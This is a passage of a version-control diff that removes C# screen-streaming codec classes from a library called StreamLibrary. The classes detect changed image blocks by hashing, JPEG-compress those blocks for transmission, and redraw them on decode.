||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
int Stride = ImageSize.Width * PixelSize;
|
||||
int RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodedFrames == 0)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
|
||||
double size = (double)ImageSize.Width / (double)BlockCount;
|
||||
|
||||
//fix floating point here
|
||||
for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size)
|
||||
{
|
||||
Offsets[i] = new Rectangle(j, 0, (int)size, 1);
|
||||
}
|
||||
|
||||
EncodeBuffer = new SortedList<int, SortedList<int, uint>>();
|
||||
for (int y = 0; y < ImageSize.Height; y++)
|
||||
{
|
||||
for(int i = 0; i < Offsets.Length; i++)
|
||||
{
|
||||
if (!EncodeBuffer.ContainsKey(y))
|
||||
EncodeBuffer.Add(y, new SortedList<int, uint>());
|
||||
if (!EncodeBuffer[y].ContainsKey(Offsets[i].X))
|
||||
EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash
|
||||
}
|
||||
}
|
||||
EncodedFrames++;
|
||||
return;
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<HashBlock> ImageOffsets = new List<HashBlock>();
|
||||
List<uint> ImageHashes = new List<uint>();
|
||||
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
for (int i = 0; i < Offsets.Length; i++)
|
||||
{
|
||||
for (int y = 0; y < ImageSize.Height; y++)
|
||||
{
|
||||
Rectangle ScanRect = Offsets[i];
|
||||
ScanRect.Y = y;
|
||||
|
||||
int offset = (y * Stride) + (ScanRect.X * PixelSize);
|
||||
|
||||
if (offset+Stride > Stride * ImageSize.Height)
|
||||
break;
|
||||
|
||||
uint Hash = hasher.Hash(pScan0 + offset, (int)Stride);
|
||||
uint BlockOffset = Hash % HashBlockCount;
|
||||
|
||||
BlockInfo blockInfo = EncodeHashBlocks[BlockOffset];
|
||||
|
||||
if (EncodeBuffer[y][ScanRect.X] != Hash)
|
||||
{
|
||||
if (!blockInfo.Hashes.ContainsKey(Hash))
|
||||
{
|
||||
int index = ImageOffsets.Count - 1;
|
||||
if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y)
|
||||
{
|
||||
Rectangle rect = ImageOffsets[index].Location;
|
||||
ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
|
||||
}
|
||||
|
||||
blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1)));
|
||||
ImageHashes.Add(Hash);
|
||||
}
|
||||
EncodeBuffer[y][ScanRect.X] = Hash;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (ImageOffsets.Count > 0)
|
||||
{
|
||||
for (int i = 0; i < Offsets.Length; i++)
|
||||
{
|
||||
Rectangle TargetOffset = Offsets[i];
|
||||
int Height = GetOffsetHeight(ImageOffsets, TargetOffset);
|
||||
Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
int blockStride = PixelSize * TargetOffset.Width;
|
||||
List<HashBlock> UsedOffsets = new List<HashBlock>();
|
||||
|
||||
for (int j = 0; j < ImageOffsets.Count; j++)
|
||||
{
|
||||
Rectangle rect = ImageOffsets[j].Location;
|
||||
|
||||
if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X)
|
||||
continue; //error in 1440p, did not tested futher
|
||||
|
||||
for (int o = 0, offset = 0; o < rect.Height; o++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
UsedOffsets.Add(ImageOffsets[j]);
|
||||
}
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
TmpBmp.Dispose();
|
||||
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2);
|
||||
if (UsedOffsets.Count > 0)
|
||||
{
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2);
|
||||
for (int j = 0; j < UsedOffsets.Count; j++)
|
||||
{
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2);
|
||||
outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2);
|
||||
outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4);
|
||||
}
|
||||
byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp);
|
||||
outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4);
|
||||
outStream.Write(CompressedImg, 0, CompressedImg.Length);
|
||||
}
|
||||
|
||||
|
||||
//TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
}
|
||||
EncodedFrames++;
|
||||
}
|
||||
|
||||
private int GetOffsetHeight(List<HashBlock> ImageOffsets, Rectangle rect)
|
||||
{
|
||||
int height = 0;
|
||||
for (int i = 0; i < ImageOffsets.Count; i++)
|
||||
{
|
||||
if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X)
|
||||
height += ImageOffsets[i].Location.Height;
|
||||
}
|
||||
return height;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
//return decodedBitmap;
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
|
||||
private class BlockInfo
|
||||
{
|
||||
public SortedList<uint, HashBlock> Hashes { get; private set; }
|
||||
public BlockInfo()
|
||||
{
|
||||
Hashes = new SortedList<uint, HashBlock>();
|
||||
}
|
||||
}
|
||||
private class HashBlock
|
||||
{
|
||||
public bool Cached { get; set; }
|
||||
public uint Hash { get; set; }
|
||||
public Rectangle Location { get; set; }
|
||||
|
||||
public HashBlock(uint Hash, bool Cached, Rectangle Location)
|
||||
{
|
||||
this.Hash = Hash;
|
||||
this.Cached = Cached;
|
||||
this.Location = Location;
|
||||
}
|
||||
public HashBlock()
|
||||
{
|
||||
|
||||
}
|
||||
}
|
||||
private class ImageOffset
|
||||
{
|
||||
public Rectangle Location { get; set; }
|
||||
public List<uint> Hashes { get; set; }
|
||||
|
||||
public ImageOffset()
|
||||
{
|
||||
this.Hashes = new List<uint>();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,308 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeCachedStreamCodec : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 0; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.HasBuffers; }
|
||||
}
|
||||
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private static Size CheckBlock = new Size(50, 50);
|
||||
private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe();
|
||||
private List<Frame> Frames = new List<Frame>();
|
||||
public const int MAX_FRAMES = 120;
|
||||
|
||||
private ulong[] DecodeBuffer;
|
||||
private Bitmap DecodedBitmap;
|
||||
private List<Bitmap> DecodedFrames = new List<Bitmap>();
|
||||
|
||||
public UnsafeCachedStreamCodec(int ImageQuality)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodedWidth == 0 && EncodedHeight == 0)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
return;
|
||||
}
|
||||
|
||||
Frame frame = new Frame(ImageSize.Width, ImageSize.Height);
|
||||
|
||||
int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height);
|
||||
int RawSizeUsed = 0;
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
List<Rectangle> ChangedBlocks = new List<Rectangle>();
|
||||
|
||||
for(int y = ScanArea.Y; y < ScanArea.Height; )
|
||||
{
|
||||
int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y;
|
||||
for (int x = ScanArea.X; x < ScanArea.Width; )
|
||||
{
|
||||
int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x;
|
||||
int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4;
|
||||
decimal FinalHash = 0;
|
||||
|
||||
for (int h = 0; h < height; h++)
|
||||
{
|
||||
int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width);
|
||||
FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride);
|
||||
}
|
||||
|
||||
if(onCodeDebugScan != null)
|
||||
onCodeDebugScan(new Rectangle(x, y, width, height));
|
||||
|
||||
bool FoundBlock = false;
|
||||
decimal FoundHash = 0;
|
||||
int FrameIndex = 0;
|
||||
for (int i = 0; i < Frames.Count; i++)
|
||||
{
|
||||
decimal hash = Frames[i].GetHashBlock(x, y);
|
||||
if (hash == FinalHash)
|
||||
{
|
||||
FrameIndex = i;
|
||||
FoundBlock = true;
|
||||
FoundHash = hash;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
frame.AddHashBlock(x, y, FinalHash);
|
||||
|
||||
if (!FoundBlock)
|
||||
{
|
||||
int index = ChangedBlocks.Count - 1;
|
||||
Rectangle cBlock = new Rectangle(x, y, width, height);
|
||||
|
||||
if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = ChangedBlocks[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
ChangedBlocks[index] = cBlock;
|
||||
}
|
||||
/*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
Rectangle rect = ChangedBlocks[index];
|
||||
int newHeight = cBlock.Height + rect.Height;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight);
|
||||
ChangedBlocks[index] = cBlock;
|
||||
}*/
|
||||
else
|
||||
{
|
||||
ChangedBlocks.Add(cBlock);
|
||||
}
|
||||
RawSizeUsed += BlockStride * height;
|
||||
}
|
||||
x += width;
|
||||
}
|
||||
y += height;
|
||||
}
|
||||
|
||||
//write all the blocks
|
||||
for (int i = 0; i < ChangedBlocks.Count; i++)
|
||||
{
|
||||
Rectangle rect = ChangedBlocks[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
ChangedBlocks.Clear();
|
||||
|
||||
Frames.Add(frame);
|
||||
if (Frames.Count > MAX_FRAMES)
|
||||
Frames.RemoveAt(0);
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (DecodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
DecodedFrames.Add(DecodedBitmap);
|
||||
return DecodedBitmap;
|
||||
}
|
||||
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(DecodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return DecodedBitmap;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
return new Bitmap(10, 10);
|
||||
}
|
||||
|
||||
private class HashedBlock
|
||||
{
|
||||
public int X { get; private set; }
|
||||
public int Y { get; private set; }
|
||||
public int Width { get; private set; }
|
||||
public int Height { get; private set; }
|
||||
public int FrameIndex { get; private set; }
|
||||
public HashedBlock(int x, int y, int width, int height, int FrameIndex)
|
||||
{
|
||||
this.X = x;
|
||||
this.Y = y;
|
||||
this.Width = width;
|
||||
this.Height = height;
|
||||
this.FrameIndex = FrameIndex;
|
||||
}
|
||||
|
||||
public override string ToString()
|
||||
{
|
||||
return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex;
|
||||
}
|
||||
}
|
||||
|
||||
private class Frame
|
||||
{
|
||||
public decimal[,] HashBlocks { get; private set; }
|
||||
|
||||
public Frame(int ImageWidth, int ImageHeight)
|
||||
{
|
||||
this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2];
|
||||
}
|
||||
|
||||
public void AddHashBlock(int x, int y, decimal Hash)
|
||||
{
|
||||
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
|
||||
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
|
||||
this.HashBlocks[x, y] = Hash;
|
||||
}
|
||||
public decimal GetHashBlock(int x, int y)
|
||||
{
|
||||
x = x / UnsafeCachedStreamCodec.CheckBlock.Width;
|
||||
y = y / UnsafeCachedStreamCodec.CheckBlock.Height;
|
||||
return this.HashBlocks[x, y];
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,365 +0,0 @@
|
||||
using StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeMiniCodec : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
|
||||
private Size CheckBlock { get { return new Size(50, 50); } }
|
||||
|
||||
public UnsafeMiniCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (this.ImageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format + " is not supported.");
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
//first frame
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight)
|
||||
throw new Exception("Scan Area Width/Height cannot be greater then the encoded image");
|
||||
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>(); //all the changes
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
//1. Check for the changes in height
|
||||
for (int y = ScanArea.Y; y < ScanArea.Height; y++)
|
||||
{
|
||||
Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width);
|
||||
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
|
||||
{
|
||||
int index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//2. Capture all the changes using the CheckBlock
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
Rectangle scanBlock = Blocks[i];
|
||||
|
||||
//go through the Blocks
|
||||
for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height)
|
||||
{
|
||||
for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width)
|
||||
{
|
||||
int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x;
|
||||
int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y;
|
||||
Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight);
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
//scan the block from Top To Bottom and check for changes
|
||||
bool FoundChanges = false;
|
||||
for (int blockY = y; blockY < y + blockHeight; blockY++)
|
||||
{
|
||||
int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth);
|
||||
if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0)
|
||||
{
|
||||
FoundChanges = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (FoundChanges)
|
||||
{
|
||||
int index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//maybe a too hard algorithm but oh well
|
||||
SortedList<int, SortedList<int, Rectangle>> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows();
|
||||
List<Rectangle> FinalTemp = new List<Rectangle>();
|
||||
|
||||
for (int i = 0; i < Array.Values.Count; i++)
|
||||
{
|
||||
FinalTemp.AddRange(Array.Values[i].Values);
|
||||
}
|
||||
|
||||
//fixup the height
|
||||
for (int i = 0; i < FinalTemp.Count; )
|
||||
{
|
||||
if (FinalTemp.Count == 1)
|
||||
{
|
||||
FinalTemp.Add(FinalTemp[i]);
|
||||
break;
|
||||
}
|
||||
|
||||
if (i + 1 < FinalTemp.Count)
|
||||
{
|
||||
Rectangle curRect = FinalTemp[i];
|
||||
Rectangle nextRect = FinalTemp[i + 1];
|
||||
if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width)
|
||||
{
|
||||
FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height);
|
||||
FinalTemp.RemoveAt(i + 1);
|
||||
}
|
||||
else
|
||||
{
|
||||
i++;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
//copy changes to the EncodeBuffer and Process the Output
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
for (int i = 0; i < FinalTemp.Count; i++)
|
||||
{
|
||||
Rectangle rect = FinalTemp[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
//copy changes to EncodeBuffer
|
||||
for (int y = rect.Y; y < rect.Y + rect.Height; y++)
|
||||
{
|
||||
int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width);
|
||||
NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
